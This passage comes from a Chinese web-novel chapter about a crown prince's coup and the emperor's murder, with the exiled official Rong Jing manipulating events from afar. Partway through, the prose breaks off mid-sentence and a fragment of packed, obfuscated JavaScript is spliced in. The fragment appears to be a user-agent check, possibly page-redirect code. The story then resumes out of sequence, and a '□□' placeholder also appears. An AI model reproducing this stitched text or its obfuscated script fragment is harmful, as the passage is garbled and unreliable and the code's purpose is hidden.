幕僚眼中闪过一道狠光,声音更低,几乎耳语:“殿下,当断不断,反受其乱!如今慕容将军北巡,容璟远贬,朝中虽仍有支持殿下者,但陛下态度已明。若待陛下.....彻底下定决心,或那几位皇子羽翼渐丰,殿下便再难有转圜余地!” 他顿了顿,喉结滚动,吐出的字句如同淬毒的匕首。 “陛下.....年事已高,近日龙体欠安,太医院进出频繁。此乃天赐良机!殿下身为储君,监国理政,名正言顺。若陛下.....突发急症,殿下顺天应人,承继大统,乃是江山社稷之福,亦能免去日后兄弟阋墙之祸!” 话音落下,书房内死一般寂静。 只有冰鉴里融冰滴水的嘀嗒声,规律地敲打着紧绷的神经。 太子脸色变幻不定,震惊,恐惧,挣扎,最后缓缓沉淀为一种近乎孤注一掷的决绝。 他当然知道幕僚在说什么。 逼宫。或者更直接地说——弑君夺位。 这是诛九族的大罪!一旦失败,万劫不复! 可是.....等待下去,就有活路吗? 父皇对他已无半分信任,只有猜忌与打压。那些日渐长大的弟弟们,每一个都可能成为取代他的新棋子。 纵观古今,有几个太子,能真的等到顺利继位?中途不乏有夺嫡的意外。 而废太子.....有几个能得善终? 与其坐以待毙,不如..... 太子的目光,缓缓扫过书案上那方沉甸甸的,代表储君权威的玺印,又掠过墙上那把先帝御赐的,他曾引以为傲的宝剑。 眼中最后一丝犹豫,被疯狂的野心和求生的本能,彻底吞噬。 “此事.....需从长计议,周密安排。” 太子的声音异常平静,却带着一种令人胆寒的冰冷:“联络我们能掌控的禁军将领,宫门守卫.....务必万无一失。还有.....宫里的消息,务必灵通。” 他顿了顿,指尖无意识地摩挲着案几冰冷的边缘,目光转向窗外沉沉的夜色。 “让太子妃递牌子进宫,去看望母后。告诉母后,儿臣近日......甚是思念她老人家,只是政务繁忙,不便常往。请母后,务必......保重凤体。” 最后几个字,他说得极慢,极清晰。 几位幕僚齐齐躬身,眼中闪烁着兴奋与恐惧交织的光芒:“殿下英明!” 一场即将颠覆大靖王朝的风暴,在这间闷热的书房里,悄然酝酿。 而这一切的始作俑者,或者说,最大的推手之一,此刻正远在千里之外的平江县衙后书房,就着明亮的烛火,看着刚刚由秘密渠道送达的密报。 容璟穿着一件半旧的青灰色直裰,靠在椅中,指尖无意识地摩挲着一枚温润的黑玉棋子。 烛光在他清隽的脸上跳跃,映得那双眼睛越发深不见底。 密报上的字迹潦草却清晰,记录了东宫近期的异常动向。 频繁召见某些品阶不高却位置关键的禁军武官,暗中接触几位掌管宫门钥匙的低级内侍,甚至.....开始秘密囤积一些非常规的药材。 容璟极轻地笑了一声。 声音在寂静的书房里显得格外清晰,也格外冰冷。 果然.....忍不住了。 皇帝的猜忌打压,慕容琛的被迫远离,他容璟的重伤失势,还有那几个被刻意捧起来的皇子.....这一切,终于将那位看似温雅宽和的太子殿下,逼到了悬崖边缘。 多好。 他不过通过一些无所不知的耳目,将一些真假难辨的东宫怨望之语,巧妙地送入某些御史或皇帝心腹的耳中。 不过是借着十一皇子李昭珣纯孝感恩的信件,提醒皇帝,除了东宫,他还有其他更贴心的儿子。 种子早已埋下,他只需适时浇浇水,松松土。 如今,种子终于要破土而出了。 容璟放下密报,执起那枚黑子,轻轻落在面前棋盘的天元之位。 棋局已至中盘,杀机四伏。 接下来,该是收官的时候了。 他抬眼,望向窗外。 盛京那座巨大的权力棋枰上,血色的终局,正缓缓拉开序幕。 他端起手边已凉的茶,缓缓饮尽。 唇角那抹冰冷的,笃定的弧度,在摇曳的烛光下,久久未散。 平江的秋,是一层层染上去的。先是山尖儿透出些微黄,接着田埂边的草色枯了,最后连县衙后院那株老槐,也在一夜西风里抖落大半叶子,露出黝黑的枝干,像极了老人干瘦的手掌,伸向日渐高远的,蓝得发冷的天空。 县衙后院的药气淡了下去,多了些米糊与奶腥混杂的,属于婴孩的温软气息。 姜于归的身子将养了许久,总算有了点人色,只是眼底那层挥之不去的倦意与疏离,如这季节的晨霜,日日照旧凝结。 她大多时候靠在窗边软榻上,看着乳母怀里那个一日日褪去红皱,眉眼越发清晰的孩子。 那小小的一团,正一日日褪去初生时的红皱,眉眼舒展开来,像蒙尘的明珠被流水细细打磨,逐渐透出温润的光泽。 眉毛淡淡的,像远山含黛的影,眼睛闭着时,长睫覆下两弯安静的弧,睁开时,乌溜溜的瞳仁便映着窗外的天光,清澈得能望见底。 她看着,看着,心头那片荒芜的冻土,便仿佛有极细极柔的草芽,悄无声息地钻出来,带着一丝陌生的,酸软的暖意。 这日午后,容璟踏进房门时,她正将孩子抱在怀里,指尖轻轻拂过那柔嫩的脸颊,低声道:“就叫澈吧。水清为澈,望他此生,心思澄明,目光清澈,活得......干干净净。” 声音很轻,却带着一种不容置疑的温柔与期盼。 容璟脚步几不可察地顿了一下。他走到榻边,目光扫过她低垂的眉眼和怀中安睡的婴孩,脸上没什么表情,只淡淡开口,语气平静得像在陈述一件早已定下的事实。 “名已定了,渊止水,容渊止。” 姜于归猛地抬起头,撞上他平静无波的目光。 渊。止水。 深潭为渊,止水无波。与澈字所寄予的清澈流动之意,截然相反,甚至......背道而驰。 一股凉意从心底窜起,姜于归盯着他,声音因骤然涌上的怒意而微微发颤:“容潜玉,你什么意思?” 容璟却仿佛没看到她眼中的怒火,也没听到她声音里的尖锐。他甚至微微俯身,伸手用指背极轻地碰了碰孩子熟睡的脸蛋,动作带着一种近乎疏离的审视。 他直起身,语气依旧是那种惯常的,不容置喙的平稳:“澈儿挺好,可作为小名,私下唤着便是。渊止之名,已递至御前,请陛下朱批恩准,不日便可录入宗牒。” 他说得轻描淡写,仿佛只是在告知一件与她,与孩子都无关紧要的流程。 姜于归的指尖死死掐进掌心,胸膛因压抑的愤怒而微微起伏。 她想质问,想驳斥,想将怀中这温软的小生命紧紧抱住,宣告她作为母亲那点微薄却固执的命名权。 可她看着容璟那双深不见底,平静得没有一丝涟漪的眼睛,所有激烈的话语都堵在了喉咙里。 请旨御批,上达天听,写入玉牒。一旦皇帝朱笔落下,这个名字便不再是父母可随意更改的私密寄托,而是承载着家族传承,礼法规制,乃至未来或许还有政治考量的符号。 一股深切的无力感,混杂着被彻底无视与掌控的屈辱,如同冰冷的潮水,淹没了她。 她不再看他,只是缓缓低下头,将脸轻轻贴向孩子温软的额头,闭上了眼睛。长睫在苍白的脸颊上投下淡淡的阴影,微微颤抖。 容璟静静看着她瞬间黯淡下去的神色和微微发颤的肩膀,眸色深处几不可察地暗了一瞬,快得像是错觉。 他没有解释,没有安抚,甚至没有再多停留。 只是转身,对侍立一旁的乳母和丫鬟淡淡吩咐了一句好生伺候,便迈步走了出去。 房门在他身后轻轻合拢,隔绝了室内温暖的空气,也隔绝了姜于归那无声却汹涌的失望与愤怒。 廊下秋风萧瑟,卷起几片枯黄的落叶。 容璟独自站了片刻,他极轻地,几乎无声地扯了一下唇角。 澈。 清澈见底,一眼望穿。 这样的期许,在这吃人不吐骨头的盛京,在这注定无法平静的容家,何其天真,又何其......奢侈。 他不需要一个清澈见底的儿子。他需要一个能在这深潭般诡谲的局势里沉得住气,稳得住心,甚至必要时刻,懂得藏锋于渊,止水无波的继承人。 渊止。 或许并非最好的名字,但至少,是他能给予的,一种冷酷而现实的庇护。 至于她的失望与愤怒...... 容璟缓缓抬眸,望向灰蒙蒙的天空。眼中一片深寂的漠然。 有些路,从一开始,就注定不能按照清澈见底的方式去走。 而他,早已习惯了背负所有的误解与骂名,独自一人,走向那深不见底的深渊。 容璟依旧忙,他处理县务愈发雷厉风行,平江县在他手中像一块被精心打磨的粗坯,渐次显露出不同以往的光泽与秩序。 只是他回后院的时辰,越来越晚。书房里的灯,时常亮至后半夜。 姜于归不问。秋实和素馨偶尔低声议论,说京里似乎不太平,驿马往来都比往日频繁急促。 姜于归只当没听见,手指无意识地抚过书页边缘,目光却不由自主地飘向盛京的方向。 有些根,扎得太深,即便茎叶移栽千里,地下的牵扯依旧密密匝匝,一有风雨,便心头发颤。 这日深夜,澈儿因长牙哭闹了一阵,刚被乳母哄睡。姜于归毫无睡意,披衣起身,走到廊下。 寒意已颇有分量,穿透单薄的夹袄,激得她微微一颤。抬头望去,天穹如墨,无星无月,只有浓厚的,饱含湿气的云层低低压着屋檐,仿佛一床浸透了水的旧棉被,沉甸甸地捂住了整个县城。 要下雪了。平江的第一场雪。 容璟收到那封密信时,正是初雪后的第三日的午后。 信是夹在一摞寻常州府公文里送来的,封皮盖着户部清吏司的普通印鉴,内里却是另一种极其隐晦的暗纹纸张。 字迹潦草,语句零散,乍看像是账目草稿,唯有特定几个字的写法与间距,透出青龙台最高级别的警报意味。 “东宫频调左骁卫三名果毅都尉夜值......光禄寺少卿周延之母病故,周延告假,然有人见其暗入东宫别苑......太医院院判昨日递折言陛下肝火郁结,夜寐多惊,折子被留中,但东宫詹事旋即往太医院探问药材库存......” 容璟靠在书房的圈椅里,就着窗外明净却已毫无暖意的秋阳,将这薄薄一页纸反复看了三遍。 然后,他抬手,将纸凑近烛火。火舌舔舐纸角,迅速蜷曲焦黑,化作几片轻飘飘的灰烬,落在青砖地上,被穿堂风一吹,便了无痕迹。 他脸上没什么表情,只眼底深处,一片冰封的湖面下,有幽暗的漩涡缓缓转动。 比他预想的......还要快些。 看来那位太子殿下,是真的被逼到绝处,连最后那点仁孝的面纱也顾不得了。 也好。快些,才好。 他起身,走到窗前。院子里,姜于归正抱着孩子,在廊下慢慢走着,低着头,正轻声对怀中的襁褓说着什么。婴孩裹在杏子黄的锦缎里,只露出一张睡得红扑扑的小脸。 那一大一小两个身影,嵌在秋光潋滟的庭院中,像一幅过分美好,因而显得有些不真实的画。 容璟的目光在那画上停留了片刻。指尖无意识地蜷缩了一下。 然后,他转身,扬声唤道:“长青。” 长青悄无声息地出现在门边。 容璟的声音平稳无波,仿佛在吩咐一件再寻常不过的公务:“准备一下。三日后,启程回京。” 长青眼神微动,却未多问,只垂首:“是。夫人与小公子......” “一起。” 容璟打断他,顿了顿,补充道:“分开走。你带一队最得力的人,护着夫人和孩子,走官道,缓行,务必稳妥。我......先行一步。” 他的目光再次投向窗外,掠过姜于归的身影,投向更远处灰蒙蒙的天际线。 “盛京......怕是要变天了。” 盛京的风像是裹着冰碴子,从宫墙的巍峨缝隙里呼啸穿过,卷起满地枯黄落叶,扑打在朱红的宫门上,簌簌作响,如同无数细碎而不祥的耳语。 紫宸殿内,地龙烧得极旺,空气暖融得令人发闷,却驱不散那股从帝王眉宇间弥漫开来的,沉甸甸的阴郁与衰颓。 皇帝斜倚在铺着明黄锦褥的软榻上,身上盖着厚厚的狐裘,面色是一种久病之人的蜡黄,眼窝深陷,唯有一双眼睛,依旧锐利如鹰,只是那锐利里,此刻盛满了疲惫,惊怒,以及一丝不易察觉的......恐慌。 他刚发过一场脾气。一方上好的端砚砸在地上,墨汁溅得到处都是,像泼洒开的,浓稠的污血。伺候的太监宫女跪了一地,瑟瑟发抖,连大气都不敢喘。 起因是一道关于北境军粮转运的普通奏章。皇帝照例批了着兵部议处,用印时却发现,那方代表天子权威的玺,印泥的颜色......似乎比往日淡了些许。 很细微的差别。若非他这般病中多疑,心神紧绷到极致的人,根本不会察觉。 可他就是察觉了。 印泥有人动过。是谁?什么时候?动了多久?用在了何处? 一连串的疑问,如同毒蛇的信子,钻进他早已被猜忌蛀空的心里。 他想起了这几个月来,东宫那些看似恭顺,实则处处透着古怪的举动。 太子来请安的次数越来越少,问起政事时眼神躲闪,偶尔目光相接,那里面不再是孺慕与敬畏,而是一种......压抑的,焦灼的,甚至隐隐带着怨怼的光芒。 他想起了自己暗中派去监视东宫的老太监,三日前失足跌入御花园的池塘,捞上来时已没了气息。 真的是失足吗? 他想起了前日召见几位老臣,谈及立储固本时,几位素来支持东宫的阁老,言语间竟也开始含糊,眼神飘忽,不敢与他对视。 还有容璟......那个他一手提拔,又亲手贬斥的外甥...... 皇帝猛地咳嗽起来,撕心裂肺,仿佛要把五脏六腑都咳出来。旁边侍立的大太监慌忙递上帕子,又捧来温水。 帕子拿开时,上面赫然染着一抹刺目的猩红。 皇帝盯着那抹红,眼神骤然变得空茫,随即,又被更深的阴鸷取代。 他老了。病了。快握不住这权柄了。 而底下那些虎视眈眈的儿孙臣子,已经等不及了。 “传......” 皇帝的声音嘶哑得厉害,喘息着:“传安宁郡主......进宫。就说......朕近来梦到已逝的父皇和皇叔,心中感伤,想找她......说说话。” 大太监躬身应下,心中却是一凛。陛下何时这般念旧? 他不敢深想,只觉这宫殿寒意刺骨。 安宁郡主是翌日晌午进宫的。 她今日穿着颇为素净,一袭深青色绣银线忍冬纹的宫装,外罩同色狐裘,发髻梳得一丝不苟,只簪了一支白玉凤头簪,淡扫蛾眉,薄施脂粉,依旧是那副美艳不可方物却冷若冰霜的模样。 只是细看之下,眼角眉梢那精心描绘的妆粉,也掩不住连日忧思带来的淡淡倦色与细微纹路。 她被引至皇帝日常起居的偏殿暖阁。殿内依旧暖得让人有些透不过气,药味混合着龙涎香,形成一种奇异而沉闷的气息。 皇帝半靠在榻上,脸色比昨日更差了些,见到她,勉强扯出一个笑容,挥退了所有侍从。 “持盈来了......坐。” 皇帝的声音很轻,带着病中的虚弱,那双眼睛却死死盯着她,不放过她脸上任何一丝细微的变化。 安宁郡主依言在榻前的绣墩上坐下,姿态恭谨,眼神却平静无波:“陛下传召,不知有何吩咐?” 皇帝没有立刻回答,只是看着她,良久,才长长叹了口气,那叹息里充满了无尽的疲惫与......一种近乎绝望的萧索。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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皇帝是在暗示什么吗?!而他自身难保,在向她这个堂妹,容璟的母亲......暗示求救?! 巨大的震惊与恐惧拽住了她。她猛地抬头,对上皇帝那双深不见底,此刻却盛满脆弱与暗示的眼睛,嘴唇颤动,竟一时失语。 皇帝却不再多说,只是疲惫地闭上了眼,挥了挥手:“朕累了......持盈,你退下吧。回去......好生过日子。潜玉是个好孩子,你......要惜福。” 最后三个字,他说得极轻,却像重锤,狠狠砸在郡主心头。 她几乎是有些踉跄地站起身,行了礼,退出暖阁。直到走出殿门,被冰冷的空气一激,才猛地回过神,后背已然被冷汗浸透。 皇帝......真的快不行了。而且,这宫中似乎暗藏杀意! 莫非,东宫已经动了!陛下这是在给容璟,给她,给整个可能与东宫对抗的势力......递出最后的讯号! 她站在高高的汉白玉台阶上,望着脚下恢弘却死寂的宫城,第一次如此清晰地感受到,这座她生活了半生的权力之巅,即将迎来一场足以吞噬一切的滔天血浪。 而她,她的儿子,乃至整个荣国公府,都被卷在这浪尖上,要么乘风而起,要么......粉身碎骨。 登上回府的马车,车厢帘落下的瞬间,她脸上所有哀戚瞬间褪尽,只剩一片冰冷的凝重与决断。 荣国公府,瑞霞院。 从宫里回来后,安宁郡主就在房间内枯坐许久。 烛火将她的影子拉得忽长忽短,投在冰冷的墙壁上,如同鬼魅。她面前摊着纸笔,却久久未能落下一个字。 告诉容璟?那个她从未真正喜爱过,甚至心怀怨怼的儿子? 可除了容璟,此刻还有谁能在这漩涡中破局? 荣国公?那个为了庶子可以牺牲长子,又为了家族门楣可以牺牲爱子的男人?如今被陛下罚俸闭门,自身难保,且早已与她离心离德。 慕容琛?远在北境,鞭长莫及。 唯有容璟。那个心机深沉,算无遗策,即便重伤被贬也能在偏远之地站稳脚跟的长子。 只有他,或许有能力在这盘死棋中,杀出一条生路,也给她,给容家,搏一个未来。 但就算容璟回来,也需要时间,在此之前,需要有人把局势控制住。 她微微侧首,对紧随而来的心腹嬷嬷吐出几个字,声音压得极低,却字字淬着冰碴:“立刻让国公爷来见我。” 顿了顿,又补上一句,比前一句更冷,更急,像锋利的刀片刮过夜色:“要快!” 屋内炭火烧得极旺,却驱不散室内那股沉郁僵冷的气息。 容修远与安宁郡主隔着一张紫檀圆桌对坐,两人面前各有一盏早已冷透的茶,谁也没有碰。 不过大半年光景,容修远仿佛老了十岁。鬓边白发丛生,眼角皱纹深刻,昔日那种勋贵家主不怒自威的气度,被一种深刻的疲惫与隐隐的惊惶取代。 自从容琅伏法,柳姨娘自尽,他在朝中便日渐边缘,皇帝罚他闭门思过,更是雪上加霜。 如今府中虽依旧挂着国公府的匾额,内里却早是门庭冷落,人心涣散。 安宁郡主将今日进宫的情形掐头去尾,隐去皇帝那些疑似试探的言语,只着重渲染了皇帝病重垂危,对太子极度失望,急切盼容璟回京托付后事的意愿。 “陛下亲口所言,这江山,绝不能交给不忠不孝之徒。潜玉是他如今唯一可信赖的皇室血脉。” 安宁郡主声音压得极低,却字字敲在容修远心头:“国公爷,这是容家......最后的机会了。” 容修远沉默地听着,手指无意识地摩挲着茶杯冰凉的瓷壁,指尖微微颤抖。 机会?什么机会?从龙之功?扶保新君?可那新君是谁?皇帝属意谁?容璟吗? 他一个外姓宗亲,无嗣可争,如何能继大统?若不是容璟,难道是......某个年幼皇子?那容璟回来,是辅政?还是...... 无数疑问在他脑中盘旋,最终化作一片冰冷的茫然与恐惧。 他发现自己早已看不懂这盘棋,更看不懂自己那个心思深沉如海的长子。 他声音干涩:“郡主,东宫如今把持宫禁,消息如何传出?潜玉远在平江,即便收到消息,又如何能赶得及?况且......此举风险太大,万一......” “没有万一!” 安宁郡主猛地打断他,凤眸中厉光一闪,带着一种近乎疯狂的决绝:“容修远,你还没看明白吗?咱们已经没了退路!东宫一旦得势,你以为还会容得下我们?当年睿王的事,虽然潜玉对他有功,但是容琅勾结逆党可是实打实的。狡兔死走狗烹的道理还要我教你么?届时东宫上位新皇登基,第一把火,就会烧到容家头上!到时别说国公之位,便是满门性命,都难保!” 她倾身向前,死死盯着容修远瞬间惨白的脸,声音如同毒蛇吐信:“现在,陛下给了我们梯子,给了潜玉机会!只要潜玉能及时赶回,在陛下......之前拿到遗诏,或者......控制住局面,扶持一位年幼皇子,我容家便是从龙首功!你我的地位,将比如今稳固百倍!琅儿的仇......也能报了!” 最后一句,她说得极其轻微,却像一把淬毒的匕首,狠狠捅进了容修远心底最痛的伤疤。 容琅......他那聪慧却浮躁,被他寄予厚望又最终牺牲的庶子......柳姨娘悬梁时那双死不瞑目的眼睛...... 容修远闭了闭眼,再睁开时,眼中那片挣扎与恐惧,已被一种孤注一掷的狠戾取代。 他声音嘶哑,却异常清晰:“好。” 于是,一封看似普通的家书从盛京传出,送去容璟手里。 她没有写任何明示,只以母亲关心儿子伤势为由,询问平江气候是否适宜养病,又无意提及近来盛京多风雨,陛下龙体欠安,宫中似乎不甚安宁,让容璟在外一切小心,若得空,不妨早日回京云云。 信写得含蓄,但字里行间那股山雨欲来的焦灼与暗示,跃然纸上。 她用上府中最隐秘的渠道,连夜将信送出。 五日后,这封信连同郡主府暗桩收集的,关于东宫近期异常人员调动的零碎情报,一同送到了容璟的手里。 潜玉我儿,陛下将崩,东宫已动。旨意难出京,速归!迟则生变,万事皆休!母字。 已经启程回京的容璟看完,脸上依旧没什么波澜,只将信纸在烛火上点燃,看着它化为灰烬。 “果然......” 他低语一声,听不出情绪。 比他预料的,甚至还要早一两日。看来皇帝的身体,是真的到了油尽灯枯的边缘,连最后的耐心都没了。 “长青。”他唤道。 “属下在。” “我们的人,在京里能动用的,还有多少?” 长青迅速报了几个数字和名字,皆是这些年在关键位置埋下的暗棋,有些甚至已潜伏十余年,从未启动。 容璟静静听着,指尖在桌面上无意识地划着,脑中飞速推演。 东宫若动手,无非几种可能,控制宫禁,挟持皇帝,矫诏夺位。或者更狠些......直接让皇帝暴毙,再以储君身份顺理成章登基。 无论是哪种,都需要绝对的武力控制皇城,尤其是皇帝寝宫和几位掌兵王爷的府邸。 太子能调动的,明面上是部分禁军和东宫六率。 而皇帝这边......忠于皇帝的禁军将领还有几位?宫中侍卫有多少未被渗透?几位掌兵的宗室王爷,是观望,还是勤王? 变数太多。 但最大的变数......在他容璟。 他要在最关键的时刻出现。 不能太早,太早则东宫未必敢动手,皇帝也未必会感激涕零,反而可能疑心他早有预谋。 不能太晚,太晚则皇帝可能真的一命呜呼,太子顺利登基,他便是乱臣贼子,再无翻身之日。 这个时机,必须掐得分毫不差。 容璟的目光,缓缓落在面前摊开的,标注着北境与盛京之间各州府兵力驻防的舆图上。他的指尖,最终点在了一个不起眼的,位于运河枢纽的卫所名称上。 那里驻扎的指挥使,姓赵,是他当年在青龙台时,亲手从一场冤狱中救下的。此人悍勇忠诚,手下有五百精兵,且驻地距盛京不过三日快马路程。 “给赵猛去信。” 容璟的声音平静却带着金石之音:“让他即刻点齐人马,以剿匪为名,向盛京方向移动,至京郊五十里处待命。没有我的手令,按兵不动。” “是。”长青记下。 容璟继续道:“再传令给留守盛京的长风。从此刻起,盯死东宫一举一动,尤其是太子本人,以及禁军左右骁卫的动向。每日一报,飞鸽传书,不得有误。” 容璟顿了顿,抬眼望向窗外。夜色深沉,唯有书房一盏孤灯,映着他清隽却冰冷如石刻的侧脸。 “还有......让我们在宫里的人......务必保住陛下最后一口气。至少,要撑到我进城。” 他要的,不是一个死掉的皇帝,而是一个濒死的,能亲眼看见他救驾,亲口将遗诏托付给他的皇帝。 “属下明白。” 长青领命而去。 书房重归寂静。容璟独自坐在灯下,许久未动。 窗外的平江县城,早已陷入沉睡,只有零星的几点灯火,在秋夜寒风中明明灭灭,如同微弱的萤火。 而千里之外的盛京,那场决定无数人命运的暴风雨,已然开始积蓄最后的,毁灭性的力量。 皇帝的病,在某个冬日的傍晚,突然加重了。 太医院所有当值的太医都被急召入宫,连几位早已致休的老院判也被请了回来。紫宸殿内灯火通明,药气熏天,宫人进出步履匆匆,神色惶惶。 陛下说是感染风寒,咳嗽不止,继而胸闷气短,御医署几位院判轮流值守乾元殿,汤药如流水般送入,却总不见起色。 朝会已停了五日,紧要政务皆由太子协理,奏章直送东宫批阅,再择要紧的呈报皇帝过目。 明眼人都嗅到了不同寻常的气息。 几位素来耿直的御史曾联名上书,请陛下保重龙体,亦请太子殿下谨守臣子本分,莫要僭越。 折子递上去,如石沉大海。反倒是其中跳得最凶的两位,三日内先后意外坠马摔断了腿,或家中不慎走了水,虽未伤及性命,却也足够震慑人心。 东宫的态度,愈发微妙。 太子李昭承每日依旧去乾元殿请安,姿态恭谨,神色忧虑,可那眼底深处日渐累积的,混合着焦灼与野心的红丝,却瞒不过某些老辣的眼睛。 他身边跟随的侍卫,面孔也日渐陌生,个个眼神精悍,气息沉凝,按在刀柄上的手,指节因用力而微微泛白。 宫中流言悄然蔓延。有说陛下实已病入膏肓,不过是用参汤吊着一口气,有说太子等不及了,暗中在药里动了手脚,更隐秘的传言则指向几位年幼的皇子,说陛下曾私下召见,似有改立之意...... 人心惶惶,暗流湍急。 消息像长了翅膀,迅速飞遍朝野。 东宫,书房。 太子李昭承背对着门,站在那幅巨大的疆域图前,一动不动。他的背影绷得极紧,像一张拉满的弓,仿佛随时会断裂。 身后,几位参与密谋的核心幕僚和武将,面色凝重,呼吸粗重。 “殿下......不能再等了!” 一名武将压低声音,眼中闪着孤注一掷的凶光:“陛下突然病重,宫内必然慌乱,此乃天赐良机!死士已经就位,左骁卫那边也打点好了,只要殿下一声令下......” 太子猛地转过身,脸色苍白,眼底布满血丝,嘴唇不受控制地微微颤抖。 他的声音干涩嘶哑:“宫门......宫门守卫如何?右骁卫呢......” 另一名幕僚上前:“右骁卫指挥使是陛下心腹,但他昨日告假出城祭祖,最快也要明日下午才能回京。如今京中防务是咱们的人。” 一切,都巧合得如同天意。 太子的手死死攥着,指甲陷入掌心,带来尖锐的疼痛,让他混乱的神经稍许清醒。 他知道,这一脚踏出去,就再也没有回头路了。 赢了,他是君临天下的新帝。 输了,便是万劫不复的乱臣贼子,尸骨无存。 可若不动......父皇那日渐冰冷的眼神,那无处不在的猜忌打压,那几个被刻意抬起来,随时可能取代他的弟弟......他还有活路吗? 眼前闪过父皇咳血的模样,闪过几个年幼且单纯,却日益得宠的脸,闪过容璟那双深不见底,仿佛洞悉一切的眼睛...... 一股混合着恐惧,怨恨,不甘的暴戾之气,猛地冲垮了他最后一丝理智。 “动手!” 这两个字,从他牙缝里挤出来,带着破釜沉舟的决绝与疯狂。 暮色四合,华灯初上。 盛京的街市依旧繁华,酒楼茶肆笑语喧哗,勾栏瓦舍丝竹盈耳。 无人知晓,一场足以改天换地的巨变,已在宫墙深处轰然引爆。 先是数处靠近皇城的街巷忽然起火,浓烟滚滚,引来五城兵马司和附近卫所兵丁前往救火,城防出现短暂混乱。 紧接着,一队约二百人的“薛家余孽死士”,身着黑衣,蒙面持刃,如同鬼魅般出现在通往紫宸殿的宫道之上,与值守的宫廷侍卫爆发激烈厮杀!喊杀声,兵刃碰撞声,惨叫声瞬间撕裂了宫廷的宁静! 几乎在同一时间,东宫六率以及被收买的左骁卫部分人马,以护驾,剿灭逆党为名,迅速接管了几处关键宫门,并朝着皇帝寝宫紫宸殿合围而去! 真正的目标,不言而喻。 紫宸殿外,忠于皇帝的侍卫拼死抵抗,且战且退,护着殿门。 殿内,皇帝被突如其来的变故惊得从病榻上挣扎坐起,听着外面越来越近的喊杀声,脸色灰败,眼中最后一点光芒迅速熄灭,取而代之的是彻骨的冰寒与......一抹了然之后的绝望。 他嘶声低吼,因激动而剧烈咳嗽起来,帕子上再次染满鲜血:“逆子......果然......是这逆子!” 一名满脸血污的侍卫统领冲进来,急声道:“陛下!叛军攻势太猛,殿门怕是守不住了!请陛下速速移驾!” 皇帝惨笑:“移驾?移去哪里?这皇宫......还有朕的容身之处吗?” 就在这时,殿外传来一阵更大的喧哗与兵刃交击之声,似乎又有新的力量加入战团! 一名小太监连滚爬爬地进来禀报,声音里带着绝处逢生的狂喜:“陛下!是荣国公!荣国公带府兵前来护驾了!” 皇帝浑浊的眼睛猛地一亮! 然而,希望只持续了短短一瞬。 殿外的厮杀声并未因荣国公府的加入而减弱,反而更加惨烈。 荣国公毕竟年迈,且府兵人数有限,在训练有素的东宫六率和薛家死士的围攻下,很快便落了下风。 容修远身披甲胄,手持长剑,须发皆张,在一片混乱中拼死搏杀。 他曾是上过战场的老将,剑法狠辣,气势惊人,接连砍倒数名叛军。可岁月不饶人,体力迅速流逝,动作渐渐迟缓。 一个不留神,背后被一名薛家死士的弯刀划过,甲胄破裂,鲜血瞬间涌出! 剧痛让他动作一滞,紧接着,更多的兵刃向他招呼过来! 殿内的皇帝,透过被撞开一道缝隙的殿门,看到了这惨烈的一幕。 他闭上了眼睛,两行浑浊的泪水,顺着苍老的脸颊滑落。 完了......都完了...... 最后的屏障已破,叛军的脚步声和狞笑声已近在咫尺。 皇帝颤抖着手,摸向枕下。那里,藏着一把淬了毒的短匕。 115. 第 115 章 就在这时,殿门被“哐当——”一声彻底踹开! 太子李昭承提着一柄染血的长剑,踏着满地的碎木与血污,一步步走了进来。 他身上的杏黄太子常服已沾满污迹,玉冠歪斜,发丝散乱,脸上混杂着未褪尽的疯狂,孤注一掷的狠戾,以及一丝不易察觉的,濒临崩溃的颤抖。 唯有那双眼睛,死死盯着榻上的皇帝,里面燃烧着孤狼般的凶光。 皇帝看向这个自己一手培养的儿子,眼神空洞得可怕,仿佛在看一个陌生的,从地狱里爬出来的怪物。 “逆子......” 皇帝的声音嘶哑得几乎只剩气音,却像一把生锈的钝刀,刮在死寂的空气里:“你......终究......还是来了。” 太子在榻前数步外停下,剑尖垂地,鲜血顺着剑锋一滴一滴砸在金砖上,发出轻微而规律的嗒,嗒声。 他胸膛剧烈起伏,□□,死死盯着皇帝,眼神复杂得扭曲。 有恨,有惧,有破釜沉舟的疯狂,或许还有一丝被长久压抑,此刻终于冲破牢笼的,扭曲的委屈与控诉。 “父皇......” 太子开口,声音同样嘶哑,却带着一种近乎哽咽的颤意:“是您......是您逼儿臣的!您眼里早就没有儿臣这个太子了!您敲打儿臣,疏远儿臣,抬举那几个小的......还有容璟!您让那个外姓的杂种来制衡儿臣!您早就想废了儿臣,是不是?!是不是——!” 最后一句,他几乎是嘶吼出来的,脖颈上青筋暴起,眼中血丝密布。 皇帝看着他,嘴角极其缓慢地扯动了一下,那是一个比哭还难看的,充满疲惫与讥诮的弧度。 “呵......呵呵......” 他低低笑了起来,笑声干涩苍凉,带着浓重的痰音,却淬着毫不掩饰的刻毒与讥诮。 “朕逼你?李昭承,你狼子野心,何必给自己脸上贴金!” 皇帝猛地撑起身子,尽管肋下伤口疼得他眼前发黑,眼神却亮得骇人,像垂死老狼最后的凶光,死死钉在太子脸上。 “你是朕立的储君!朕给了你东宫尊位,给了你监国之权,给了你二十年的体面!可你呢?结党营私,排除异己,连你几个未成年的弟弟都容不下!你以为朕不知道他们坠马中毒那些腌臜事,是谁的手笔?!” 他每说一句,气息就急促一分,血沫从嘴角渗出,却依然字字如刀。 “朕敲打你,是给你机会!是盼着你收敛,醒悟!可你呢?变本加厉!” 皇帝突然剧烈咳嗽起来,咳得整个人蜷缩,半晌才抬起头,眼中尽是冰冷的失望与......一种近乎快意的残酷。 “如今更好,索性撕破脸,提着剑来弑父夺位了。好,好得很!李昭承,朕今日就清清楚楚告诉你,你这太子,朕早就想废了!你这样的心性,不配坐这把椅子!朕宁可把江山交给那些个懵懂稚儿,也绝不会留给你这个......孽障!” “闭嘴——!!!” 太子被这番话刺得双目赤红,最后一点理智彻底崩断!他狂吼一声,挥剑狠狠刺向皇帝心口! 这一次,再无任何转圜余地。 手中染血的长剑刺入榻上的皇帝!手臂运力,剑锋带着决绝的寒光,那一剑没有丝毫犹豫,凝聚了他所有积压的恐惧,怨恨与对权力的渴望! “父皇,您该......退位了!” 肋下的剧痛和失血的眩晕让他连侧身的力气都没有。他能闻到剑刃上的血腥气,能感受到死亡冰冷的鼻息。 